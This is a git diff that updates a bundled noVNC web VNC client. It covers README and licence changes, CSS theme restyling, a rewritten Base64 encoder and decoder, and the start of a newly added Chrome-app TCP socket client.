+href="https://groups.google.com/forum/?fromgroups#!forum/novnc">noVNC
+discussion group</a>
+
+Bugs and feature requests can be submitted via [github
+issues](https://github.com/kanaka/noVNC/issues). If you are looking
+for a place to start contributing to noVNC, a good place to start
+would be the issues that are marked as
+["patchwelcome"](https://github.com/kanaka/noVNC/issues?labels=patchwelcome).
+
+If you want to show appreciation for noVNC you could donate to a great
+non-profits such as: [Compassion
+International](http://www.compassion.com/), [SIL](http://www.sil.org),
+[Habitat for Humanity](http://www.habitat.org), [Electronic Frontier
+Foundation](https://www.eff.org/), [Against Malaria
+Foundation](http://www.againstmalaria.com/), [Nothing But
+Nets](http://www.nothingbutnets.net/), etc. Please tweet <a
+href="http://www.twitter.com/noVNC">@noVNC</a> if you do.
### Features
@@ -24,7 +53,7 @@
* Clipboard copy/paste
* Clipping or scolling modes for large remote screens
* Easy site integration and theming (3 example themes included)
-* Licensed under the [LGPLv3](http://www.gnu.org/licenses/lgpl.html)
+* Licensed under the [MPL 2.0](http://www.mozilla.org/MPL/2.0/)
### Screenshots
@@ -49,16 +78,18 @@
* Fast Javascript Engine: this is not strictly a requirement, but
without a fast Javascript engine, noVNC might be painfully slow.
-* I maintain a more detailed browser compatibility list <a
- href="https://github.com/kanaka/noVNC/wiki/Browser-support">here</a>.
+* See the more detailed [browser compatibility wiki page](https://github.com/kanaka/noVNC/wiki/Browser-support).
### Server Requirements
Unless you are using a VNC server with support for WebSockets
-connections (such as [x11vnc/libvncserver](http://libvncserver.sourceforge.net/)),
-you need to use a WebSockets to TCP socket proxy. There is
-a python proxy included ('websockify').
+connections (such as
+[x11vnc/libvncserver](http://libvncserver.sourceforge.net/),
+[QEMU](http://www.qemu.org/), or
+[PocketVNC](http://www.pocketvnc.com/blog/?page_id=866)), you need to
+use a WebSockets to TCP socket proxy. There is a python proxy included
+('websockify').
### Quick Start
@@ -76,8 +107,9 @@
### Other Pages
-* [Advanced Usage](https://github.com/kanaka/noVNC/wiki/Advanced-usage). Generating an SSL
- certificate, starting a VNC server, advanced websockify usage, etc.
+* [Encrypted Connections](https://github.com/kanaka/websockify/wiki/Encrypted-Connections). How to setup websockify so that you can use encrypted connections from noVNC.
+
+* [Advanced Usage](https://github.com/kanaka/noVNC/wiki/Advanced-usage). Starting a VNC server, advanced websockify usage, etc.
* [Integrating noVNC](https://github.com/kanaka/noVNC/wiki/Integration) into existing projects.
@@ -86,8 +118,14 @@
### Authors/Contributors
-* noVNC : Joel Martin (github.com/kanaka)
- * New UI and Icons : Chris Gordon
+* Core team:
+ * [Joel Martin](https://github.com/kanaka)
+ * [Samuel Mannehed](https://github.com/samhed) (Cendio)
+ * [Peter Åstrand](https://github.com/astrand) (Cendio)
+ * [Solly Ross](https://github.com/DirectXMan12) (Red Hat / OpenStack)
+
+* Notable contributions:
+ * UI and Icons : Chris Gordon
* Original Logo : Michael Sersen
* tight encoding : Michael Tinglof (Mercuri.ca)
@@ -98,5 +136,3 @@
* jsunzip : Erik Moller (github.com/operasoftware/jsunzip),
* tinflate : Joergen Ibsen (ibsensoftware.com)
* DES : Dave Zimmerman (Widget Workshop), Jef Poskanzer (ACME Labs)
-
-
diff --git a/webclients/novnc/favicon.ico b/webclients/novnc/favicon.ico
deleted file mode 100644
index c999634..0000000
--- a/webclients/novnc/favicon.ico
+++ /dev/null
Binary files differ
diff --git a/webclients/novnc/favicon.ico b/webclients/novnc/favicon.ico
new file mode 120000
index 0000000..45399c8
--- /dev/null
+++ b/webclients/novnc/favicon.ico
@@ -0,0 +1 @@
+images/favicon.ico
\ No newline at end of file
diff --git a/webclients/novnc/images/alt.png b/webclients/novnc/images/alt.png
new file mode 100644
index 0000000..d42af7b
--- /dev/null
+++ b/webclients/novnc/images/alt.png
Binary files differ
diff --git a/webclients/novnc/images/ctrl.png b/webclients/novnc/images/ctrl.png
new file mode 100644
index 0000000..a63b601
--- /dev/null
+++ b/webclients/novnc/images/ctrl.png
Binary files differ
diff --git a/webclients/novnc/images/esc.png b/webclients/novnc/images/esc.png
new file mode 100644
index 0000000..ece5f7c
--- /dev/null
+++ b/webclients/novnc/images/esc.png
Binary files differ
diff --git a/webclients/novnc/images/power.png b/webclients/novnc/images/power.png
new file mode 100644
index 0000000..f68fd08
--- /dev/null
+++ b/webclients/novnc/images/power.png
Binary files differ
diff --git a/webclients/novnc/images/showextrakeys.png b/webclients/novnc/images/showextrakeys.png
new file mode 100644
index 0000000..ad8e0a7
--- /dev/null
+++ b/webclients/novnc/images/showextrakeys.png
Binary files differ
diff --git a/webclients/novnc/images/tab.png b/webclients/novnc/images/tab.png
new file mode 100644
index 0000000..8413487
--- /dev/null
+++ b/webclients/novnc/images/tab.png
Binary files differ
diff --git a/webclients/novnc/include/base.css b/webclients/novnc/include/base.css
index 105984d..e2c9a96 100644
--- a/webclients/novnc/include/base.css
+++ b/webclients/novnc/include/base.css
@@ -1,3 +1,11 @@
+/*
+ * noVNC base CSS
+ * Copyright (C) 2012 Joel Martin
+ * Copyright (C) 2013 Samuel Mannehed for Cendio AB
+ * noVNC is licensed under the MPL 2.0 (see LICENSE.txt)
+ * This file is licensed under the 2-Clause BSD license (see LICENSE.txt).
+ */
+
body {
margin:0;
padding:0;
@@ -33,9 +41,6 @@
}
#noVNC_encrypt {
}
-#noVNC_connectTimeout {
- width: 30px;
-}
#noVNC_path {
width: 100px;
}
@@ -44,6 +49,9 @@
float:right;
}
+#noVNC_buttons {
+ white-space: nowrap;
+}
#noVNC_view_drag_button {
display: none;
@@ -51,38 +59,43 @@
#sendCtrlAltDelButton {
display: none;
}
+#noVNC_xvp_buttons {
+ display: none;
+}
#noVNC_mobile_buttons {
display: none;
}
+#noVNC_extra_keys {
+ display: inline;
+ list-style-type: none;
+ padding: 0px;
+ margin: 0px;
+ position: relative;
+}
+
.noVNC-buttons-left {
float: left;
- padding-left:10px;
- padding-top:4px;
+ z-index: 1;
+ position: relative;
}
.noVNC-buttons-right {
float:right;
right: 0px;
- padding-right:10px;
- padding-top:4px;
-}
-
-#noVNC_status_bar {
- margin-top: 0px;
- padding: 0px;
-}
-
-#noVNC_status_bar div {
- font-size: 12px;
- padding-top: 4px;
- width:100%;
+ z-index: 2;
+ position: absolute;
}
#noVNC_status {
- height:20px;
+ font-size: 12px;
+ padding-top: 4px;
+ height:32px;
text-align: center;
+ font-weight: bold;
+ color: #fff;
}
+
#noVNC_settings_menu {
margin: 3px;
text-align: left;
@@ -97,22 +110,12 @@
float:right;
}
-.noVNC_status_normal {
- background: #eee;
-}
-.noVNC_status_error {
- background: #f44;
-}
-.noVNC_status_warn {
- background: #ff4;
-}
-
/* Do not set width/height for VNC_screen or VNC_canvas or incorrect
* scaling will occur. Canvas resizes to remote VNC settings */
#noVNC_screen_pad {
margin: 0px;
padding: 0px;
- height: 44px;
+ height: 36px;
}
#noVNC_screen {
text-align: center;
@@ -147,14 +150,14 @@
/*Bubble contents divs*/
#noVNC_settings {
display:none;
- margin-top:77px;
+ margin-top:73px;
right:20px;
position:fixed;
}
#noVNC_controls {
display:none;
- margin-top:77px;
+ margin-top:73px;
right:12px;
position:fixed;
}
@@ -166,7 +169,7 @@
display:none;
position:fixed;
- margin-top:77px;
+ margin-top:73px;
right:20px;
left:20px;
padding:15px;
@@ -179,9 +182,40 @@
border-radius:10px;
}
+#noVNC_popup_status_panel {
+ display:none;
+ position: fixed;
+ z-index: 1;
+
+ margin:15px;
+ margin-top:60px;
+ padding:15px;
+ width:auto;
+
+ text-align:center;
+ font-weight:bold;
+ word-wrap:break-word;
+ color:#fff;
+ background:rgba(0,0,0,0.65);
+
+ -webkit-border-radius:10px;
+ -moz-border-radius:10px;
+ border-radius:10px;
+}
+
+#noVNC_xvp {
+ display:none;
+ margin-top:73px;
+ right:30px;
+ position:fixed;
+}
+#noVNC_xvp.top:after {
+ right:125px;
+}
+
#noVNC_clipboard {
display:none;
- margin-top:77px;
+ margin-top:73px;
right:30px;
position:fixed;
}
@@ -200,17 +234,11 @@
z-index: -1;
}
-.noVNC_status_warn {
- background-color:yellow;
-}
-
/*
* Advanced Styling
*/
-/* Control bar */
-#noVNC-control-bar {
- position:fixed;
+.noVNC_status_normal {
background: #b2bdcd; /* Old browsers */
background: -moz-linear-gradient(top, #b2bdcd 0%, #899cb3 49%, #7e93af 51%, #6e84a3 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#b2bdcd), color-stop(49%,#899cb3), color-stop(51%,#7e93af), color-stop(100%,#6e84a3)); /* Chrome,Safari4+ */
@@ -218,9 +246,32 @@
background: -o-linear-gradient(top, #b2bdcd 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* Opera11.10+ */
background: -ms-linear-gradient(top, #b2bdcd 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* IE10+ */
background: linear-gradient(top, #b2bdcd 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* W3C */
+}
+.noVNC_status_error {
+ background: #f04040; /* Old browsers */
+ background: -moz-linear-gradient(top, #f04040 0%, #899cb3 49%, #7e93af 51%, #6e84a3 100%); /* FF3.6+ */
+ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f04040), color-stop(49%,#899cb3), color-stop(51%,#7e93af), color-stop(100%,#6e84a3)); /* Chrome,Safari4+ */
+ background: -webkit-linear-gradient(top, #f04040 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* Chrome10+,Safari5.1+ */
+ background: -o-linear-gradient(top, #f04040 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* Opera11.10+ */
+ background: -ms-linear-gradient(top, #f04040 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* IE10+ */
+ background: linear-gradient(top, #f04040 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* W3C */
+}
+.noVNC_status_warn {
+ background: #f0f040; /* Old browsers */
+ background: -moz-linear-gradient(top, #f0f040 0%, #899cb3 49%, #7e93af 51%, #6e84a3 100%); /* FF3.6+ */
+ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f0f040), color-stop(49%,#899cb3), color-stop(51%,#7e93af), color-stop(100%,#6e84a3)); /* Chrome,Safari4+ */
+ background: -webkit-linear-gradient(top, #f0f040 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* Chrome10+,Safari5.1+ */
+ background: -o-linear-gradient(top, #f0f040 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* Opera11.10+ */
+ background: -ms-linear-gradient(top, #f0f040 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* IE10+ */
+ background: linear-gradient(top, #f0f040 0%,#899cb3 49%,#7e93af 51%,#6e84a3 100%); /* W3C */
+}
+/* Control bar */
+#noVNC-control-bar {
+ position:fixed;
+
display:block;
- height:44px;
+ height:36px;
left:0;
top:0;
width:100%;
@@ -361,22 +412,85 @@
font-size: 180px;
}
-@media screen and (min-width: 481px) and (max-width: 640px) {
- .noVNC_status_button {
- font-size: 10px;
+.noVNC-buttons-left {
+ padding-left: 10px;
+}
+
+.noVNC-buttons-right {
+ padding-right: 10px;
+}
+
+#noVNC_status {
+ z-index: 0;
+ position: absolute;
+ width: 100%;
+ margin-left: 0px;
+}
+
+#showExtraKeysButton { display: none; }
+#toggleCtrlButton { display: inline; }
+#toggleAltButton { display: inline; }
+#sendTabButton { display: inline; }
+#sendEscButton { display: inline; }
+
+/* left-align the status text on lower resolutions */
+@media screen and (max-width: 800px){
+ #noVNC_status {
+ z-index: 1;
+ position: relative;
+ width: auto;
+ float: left;
+ margin-left: 4px;
}
+}
+
+@media screen and (max-width: 640px){
#noVNC_clipboard_text {
width: 410px;
}
#noVNC_logo {
font-size: 150px;
}
-}
-
-@media screen and (min-width: 321px) and (max-width: 480px) {
.noVNC_status_button {
font-size: 10px;
}
+ .noVNC-buttons-left {
+ padding-left: 0px;
+ }
+ .noVNC-buttons-right {
+ padding-right: 0px;
+ }
+ /* collapse the extra keys on lower resolutions */
+ #showExtraKeysButton {
+ display: inline;
+ }
+ #toggleCtrlButton {
+ display: none;
+ position: absolute;
+ top: 30px;
+ left: 0px;
+ }
+ #toggleAltButton {
+ display: none;
+ position: absolute;
+ top: 65px;
+ left: 0px;
+ }
+ #sendTabButton {
+ display: none;
+ position: absolute;
+ top: 100px;
+ left: 0px;
+ }
+ #sendEscButton {
+ display: none;
+ position: absolute;
+ top: 135px;
+ left: 0px;
+ }
+}
+
+@media screen and (min-width: 321px) and (max-width: 480px) {
#noVNC_clipboard_text {
width: 250px;
}
diff --git a/webclients/novnc/include/base64.js b/webclients/novnc/include/base64.js
index e9b3c52..651fbad 100644
--- a/webclients/novnc/include/base64.js
+++ b/webclients/novnc/include/base64.js
@@ -1,147 +1,113 @@
-/*
- * Modified from:
- * http://lxr.mozilla.org/mozilla/source/extensions/xml-rpc/src/nsXmlRpcClient.js#956
- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-/* ***** BEGIN LICENSE BLOCK *****
- * Version: MPL 1.1/GPL 2.0/LGPL 2.1
- *
- * The contents of this file are subject to the Mozilla Public License Version
- * 1.1 (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- * http://www.mozilla.org/MPL/
- *
- * Software distributed under the License is distributed on an "AS IS" basis,
- * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- * for the specific language governing rights and limitations under the
- * License.
- *
- * The Original Code is Mozilla XML-RPC Client component.
- *
- * The Initial Developer of the Original Code is
- * Digital Creations 2, Inc.
- * Portions created by the Initial Developer are Copyright (C) 2000
- * the Initial Developer. All Rights Reserved.
- *
- * Contributor(s):
- * Martijn Pieters <mj@digicool.com> (original author)
- * Samuel Sieb <samuel@sieb.net>
- *
- * Alternatively, the contents of this file may be used under the terms of
- * either the GNU General Public License Version 2 or later (the "GPL"), or
- * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- * in which case the provisions of the GPL or the LGPL are applicable instead
- * of those above. If you wish to allow use of your version of this file only
- * under the terms of either the GPL or the LGPL, and not to allow others to
- * use your version of this file under the terms of the MPL, indicate your
- * decision by deleting the provisions above and replace them with the notice
- * and other provisions required by the GPL or the LGPL. If you do not delete
- * the provisions above, a recipient may use your version of this file under
- * the terms of any one of the MPL, the GPL or the LGPL.
- *
- * ***** END LICENSE BLOCK ***** */
+// From: http://hg.mozilla.org/mozilla-central/raw-file/ec10630b1a54/js/src/devtools/jint/sunspider/string-base64.js
-/*jslint white: false, bitwise: false, plusplus: false */
+/*jslint white: false */
/*global console */
var Base64 = {
+ /* Convert data (an array of integers) to a Base64 string. */
+ toBase64Table : 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='.split(''),
+ base64Pad : '=',
-/* Convert data (an array of integers) to a Base64 string. */
-toBase64Table : 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
-base64Pad : '=',
+ encode: function (data) {
+ "use strict";
+ var result = '';
+ var toBase64Table = Base64.toBase64Table;
+ var length = data.length;
+ var lengthpad = (length % 3);
+ // Convert every three bytes to 4 ascii characters.
-encode: function (data) {
- "use strict";
- var result = '',
- chrTable = Base64.toBase64Table.split(''),
- pad = Base64.base64Pad,
- length = data.length,
- i;
- // Convert every three bytes to 4 ascii characters.
- for (i = 0; i < (length - 2); i += 3) {
- result += chrTable[data[i] >> 2];
- result += chrTable[((data[i] & 0x03) << 4) + (data[i+1] >> 4)];
- result += chrTable[((data[i+1] & 0x0f) << 2) + (data[i+2] >> 6)];
- result += chrTable[data[i+2] & 0x3f];
- }
-
- // Convert the remaining 1 or 2 bytes, pad out to 4 characters.
- if (length%3) {
- i = length - (length%3);
- result += chrTable[data[i] >> 2];
- if ((length%3) === 2) {
- result += chrTable[((data[i] & 0x03) << 4) + (data[i+1] >> 4)];
- result += chrTable[(data[i+1] & 0x0f) << 2];
- result += pad;
- } else {
- result += chrTable[(data[i] & 0x03) << 4];
- result += pad + pad;
+ for (var i = 0; i < (length - 2); i += 3) {
+ result += toBase64Table[data[i] >> 2];
+ result += toBase64Table[((data[i] & 0x03) << 4) + (data[i + 1] >> 4)];
+ result += toBase64Table[((data[i + 1] & 0x0f) << 2) + (data[i + 2] >> 6)];
+ result += toBase64Table[data[i + 2] & 0x3f];
}
- }
- return result;
-},
-
-/* Convert Base64 data to a string */
-toBinaryTable : [
- -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
- -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
- -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
- 52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1, 0,-1,-1,
- -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11,12,13,14,
- 15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
- -1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
- 41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1
-],
-
-decode: function (data, offset) {
- "use strict";
- offset = typeof(offset) !== 'undefined' ? offset : 0;
- var binTable = Base64.toBinaryTable,
- pad = Base64.base64Pad,
- result, result_length, idx, i, c, padding,
- leftbits = 0, // number of bits decoded, but yet to be appended
- leftdata = 0, // bits decoded, but yet to be appended
- data_length = data.indexOf('=') - offset;
-
- if (data_length < 0) { data_length = data.length - offset; }
-
- /* Every four characters is 3 resulting numbers */
- result_length = (data_length >> 2) * 3 + Math.floor((data_length%4)/1.5);
- result = new Array(result_length);
-
- // Convert one by one.
- for (idx = 0, i = offset; i < data.length; i++) {
- c = binTable[data.charCodeAt(i) & 0x7f];
- padding = (data.charAt(i) === pad);
- // Skip illegal characters and whitespace
- if (c === -1) {
- console.error("Illegal character code " + data.charCodeAt(i) + " at position " + i);
- continue;
+ // Convert the remaining 1 or 2 bytes, pad out to 4 characters.
+ var j = 0;
+ if (lengthpad === 2) {
+ j = length - lengthpad;
+ result += toBase64Table[data[j] >> 2];
+ result += toBase64Table[((data[j] & 0x03) << 4) + (data[j + 1] >> 4)];
+ result += toBase64Table[(data[j + 1] & 0x0f) << 2];
+ result += toBase64Table[64];
+ } else if (lengthpad === 1) {
+ j = length - lengthpad;
+ result += toBase64Table[data[j] >> 2];
+ result += toBase64Table[(data[j] & 0x03) << 4];
+ result += toBase64Table[64];
+ result += toBase64Table[64];
}
-
- // Collect data into leftdata, update bitcount
- leftdata = (leftdata << 6) | c;
- leftbits += 6;
- // If we have 8 or more bits, append 8 bits to the result
- if (leftbits >= 8) {
- leftbits -= 8;
- // Append if not padding.
- if (!padding) {
- result[idx++] = (leftdata >> leftbits) & 0xff;
+ return result;
+ },
+
+ /* Convert Base64 data to a string */
+ /* jshint -W013 */
+ toBinaryTable : [
+ -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
+ -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
+ -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
+ 52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1, 0,-1,-1,
+ -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11,12,13,14,
+ 15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
+ -1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
+ 41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1
+ ],
+ /* jshint +W013 */
+
+ decode: function (data, offset) {
+ "use strict";
+ offset = typeof(offset) !== 'undefined' ? offset : 0;
+ var toBinaryTable = Base64.toBinaryTable;
+ var base64Pad = Base64.base64Pad;
+ var result, result_length;
+ var leftbits = 0; // number of bits decoded, but yet to be appended
+ var leftdata = 0; // bits decoded, but yet to be appended
+ var data_length = data.indexOf('=') - offset;
+
+ if (data_length < 0) { data_length = data.length - offset; }
+
+ /* Every four characters is 3 resulting numbers */
+ result_length = (data_length >> 2) * 3 + Math.floor((data_length % 4) / 1.5);
+ result = new Array(result_length);
+
+ // Convert one by one.
+ for (var idx = 0, i = offset; i < data.length; i++) {
+ var c = toBinaryTable[data.charCodeAt(i) & 0x7f];
+ var padding = (data.charAt(i) === base64Pad);
+ // Skip illegal characters and whitespace
+ if (c === -1) {
+ console.error("Illegal character code " + data.charCodeAt(i) + " at position " + i);
+ continue;
}
- leftdata &= (1 << leftbits) - 1;
+
+ // Collect data into leftdata, update bitcount
+ leftdata = (leftdata << 6) | c;
+ leftbits += 6;
+
+ // If we have 8 or more bits, append 8 bits to the result
+ if (leftbits >= 8) {
+ leftbits -= 8;
+ // Append if not padding.
+ if (!padding) {
+ result[idx++] = (leftdata >> leftbits) & 0xff;
+ }
+ leftdata &= (1 << leftbits) - 1;
+ }
}
+
+ // If there are any bits left, the base64 string was corrupted
+ if (leftbits) {
+ err = new Error('Corrupted base64 string');
+ err.name = 'Base64-Error';
+ throw err;
+ }
+
+ return result;
}
-
- // If there are any bits left, the base64 string was corrupted
- if (leftbits) {
- throw {name: 'Base64-Error',
- message: 'Corrupted base64 string'};
- }
-
- return result;
-}
-
}; /* End of Base64 namespace */
diff --git a/webclients/novnc/include/black.css b/webclients/novnc/include/black.css
index 8f80f66..7d940c5 100644
--- a/webclients/novnc/include/black.css
+++ b/webclients/novnc/include/black.css
@@ -1,8 +1,16 @@
+/*
+ * noVNC black CSS
+ * Copyright (C) 2012 Joel Martin
+ * Copyright (C) 2013 Samuel Mannehed for Cendio AB
+ * noVNC is licensed under the MPL 2.0 (see LICENSE.txt)
+ * This file is licensed under the 2-Clause BSD license (see LICENSE.txt).
+ */
+
#keyboardinput {
background-color:#000;
}
-#noVNC-control-bar {
+.noVNC_status_normal {
background: #4c4c4c; /* Old browsers */
background: -moz-linear-gradient(top, #4c4c4c 0%, #2c2c2c 50%, #000000 51%, #131313 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#4c4c4c), color-stop(50%,#2c2c2c), color-stop(51%,#000000), color-stop(100%,#131313)); /* Chrome,Safari4+ */
@@ -11,6 +19,24 @@
background: -ms-linear-gradient(top, #4c4c4c 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* IE10+ */
background: linear-gradient(top, #4c4c4c 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* W3C */
}
+.noVNC_status_error {
+ background: #f04040; /* Old browsers */
+ background: -moz-linear-gradient(top, #f04040 0%, #2c2c2c 50%, #000000 51%, #131313 100%); /* FF3.6+ */
+ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f04040), color-stop(50%,#2c2c2c), color-stop(51%,#000000), color-stop(100%,#131313)); /* Chrome,Safari4+ */
+ background: -webkit-linear-gradient(top, #f04040 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* Chrome10+,Safari5.1+ */
+ background: -o-linear-gradient(top, #f04040 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* Opera11.10+ */
+ background: -ms-linear-gradient(top, #f04040 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* IE10+ */
+ background: linear-gradient(top, #f04040 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* W3C */
+}
+.noVNC_status_warn {
+ background: #f0f040; /* Old browsers */
+ background: -moz-linear-gradient(top, #f0f040 0%, #2c2c2c 50%, #000000 51%, #131313 100%); /* FF3.6+ */
+ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f0f040), color-stop(50%,#2c2c2c), color-stop(51%,#000000), color-stop(100%,#131313)); /* Chrome,Safari4+ */
+ background: -webkit-linear-gradient(top, #f0f040 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* Chrome10+,Safari5.1+ */
+ background: -o-linear-gradient(top, #f0f040 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* Opera11.10+ */
+ background: -ms-linear-gradient(top, #f0f040 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* IE10+ */
+ background: linear-gradient(top, #f0f040 0%,#2c2c2c 50%,#000000 51%,#131313 100%); /* W3C */
+}
.triangle-right {
border:2px solid #fff;
diff --git a/webclients/novnc/include/blue.css b/webclients/novnc/include/blue.css
index a8baf70..b2a0adc 100644
--- a/webclients/novnc/include/blue.css
+++ b/webclients/novnc/include/blue.css
@@ -1,5 +1,12 @@
+/*
+ * noVNC blue CSS
+ * Copyright (C) 2012 Joel Martin
+ * Copyright (C) 2013 Samuel Mannehed for Cendio AB
+ * noVNC is licensed under the MPL 2.0 (see LICENSE.txt)
+ * This file is licensed under the 2-Clause BSD license (see LICENSE.txt).
+ */
-#noVNC-control-bar {
+.noVNC_status_normal {
background-color:#04073d;
background-image: -webkit-gradient(
linear,
@@ -14,6 +21,36 @@
rgb(4,7,61) 50%
);
}
+.noVNC_status_error {
+ background-color:#f04040;
+ background-image: -webkit-gradient(
+ linear,
+ left bottom,
+ left top,
+ color-stop(0.54, rgb(240,64,64)),
+ color-stop(0.5, rgb(4,7,61))
+ );
+ background-image: -moz-linear-gradient(
+ center bottom,
+ rgb(4,7,61) 54%,
+ rgb(249,64,64) 50%
+ );
+}
+.noVNC_status_warn {
+ background-color:#f0f040;
+ background-image: -webkit-gradient(
+ linear,
+ left bottom,
+ left top,
+ color-stop(0.54, rgb(240,240,64)),
+ color-stop(0.5, rgb(4,7,61))
+ );
+ background-image: -moz-linear-gradient(
+ center bottom,
+ rgb(4,7,61) 54%,
+ rgb(240,240,64) 50%
+ );
+}
.triangle-right {
border:2px solid #fff;
diff --git a/webclients/novnc/include/chrome-app/tcp-client.js b/webclients/novnc/include/chrome-app/tcp-client.js
new file mode 100644
index 0000000..b8c125f
--- /dev/null
+++ b/webclients/novnc/include/chrome-app/tcp-client.js
@@ -0,0 +1,321 @@
+/*
+Copyright 2012 Google Inc.
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+
+Author: Boris Smus (smus@chromium.org)
+*/
+
+(function(exports) {
+
+ // Define some local variables here.
+ var socket = chrome.socket || chrome.experimental.socket;
+ var dns = chrome.experimental.dns;
+
+ /**
+ * Creates an instance of the client
+ *
+ * @param {String} host The remote host to connect to
+ * @param {Number} port The port to connect to at the remote host
+ */
+ function TcpClient(host, port, pollInterval) {
+ this.host = host;
+ this.port = port;
+ this.pollInterval = pollInterval || 15;
+
+ // Callback functions.
+ this.callbacks = {
+ connect: null, // Called when socket is connected.
+ disconnect: null, // Called when socket is disconnected.
+ recvBuffer: null, // Called (as ArrayBuffer) when client receives data from server.
+ recvString: null, // Called (as string) when client receives data from server.
+ sent: null // Called when client sends data to server.
+ };
+
+ // Socket.
+ this.socketId = null;
+ this.isConnected = false;
+
+ log('initialized tcp client');
+ }
+
+ /**
+ * Connects to the TCP socket, and creates an open socket.
+ *
+ * @see http://developer.chrome.com/trunk/apps/socket.html#method-create
+ * @param {Function} callback The function to call on connection
+ */
+ TcpClient.prototype.connect = function(callback) {
+ // First resolve the hostname to an IP.
+ dns.resolve(this.host, function(result) {
+ this.addr = result.address;
+ socket.create('tcp', {}, this._onCreate.bind(this));
+
+ // Register connect callback.
+ this.callbacks.connect = callback;
+ }.bind(this));
+ };
+
+ /**
+ * Sends an arraybuffer/view down the wire to the remote side
+ *
+ * @see http://developer.chrome.com/trunk/apps/socket.html#method-write
+ * @param {String} msg The arraybuffer/view to send
+ * @param {Function} callback The function to call when the message has sent
+ */
+ TcpClient.prototype.sendBuffer = function(buf, callback) {
+ if (buf.buffer) {
+ buf = buf.buffer;
+ }
+
+ /*
+ // Debug
+ var bytes = [], u8 = new Uint8Array(buf);
+ for (var i = 0; i < u8.length; i++) {
+ bytes.push(u8[i]);
+ }
+ log("sending bytes: " + (bytes.join(',')));
+ */
+
+ socket.write(this.socketId, buf, this._onWriteComplete.bind(this));
+
+ // Register sent callback.
+ this.callbacks.sent = callback;
+ };
+
+ /**
+ * Sends a string down the wire to the remote side
+ *
+ * @see http://developer.chrome.com/trunk/apps/socket.html#method-write
+ * @param {String} msg The string to send
+ * @param {Function} callback The function to call when the message has sent
+ */
+ TcpClient.prototype.sendString = function(msg, callback) {
+ /*
+ // Debug
+ log("sending string: " + msg);
+ */
+
+ this._stringToArrayBuffer(msg, function(arrayBuffer) {
+ socket.write(this.socketId, arrayBuffer, this._onWriteComplete.bind(this));
+ }.bind(this));
+
+ // Register sent callback.
+ this.callbacks.sent = callback;
+ };
+
+ /**
+ * Sets the callback for when a message is received
+ *
+ * @param {Function} callback The function to call when a message has arrived
+ * @param {String} type The callback argument type: "arraybuffer" or "string"
+ */
+ TcpClient.prototype.addResponseListener = function(callback, type) {
+ if (typeof type === "undefined") {
+ type = "arraybuffer";
+ }
+ // Register received callback.
+ if (type === "string") {
+ this.callbacks.recvString = callback;
+ } else {
+ this.callbacks.recvBuffer = callback;
+ }
+ };
+
+ /**
+ * Sets the callback for when the socket disconnects
+ *
+ * @param {Function} callback The function to call when the socket disconnects
+ * @param {String} type The callback argument type: "arraybuffer" or "string"
+ */
+ TcpClient.prototype.addDisconnectListener = function(callback) {
+ // Register disconnect callback.
+ this.callbacks.disconnect = callback;
+ };
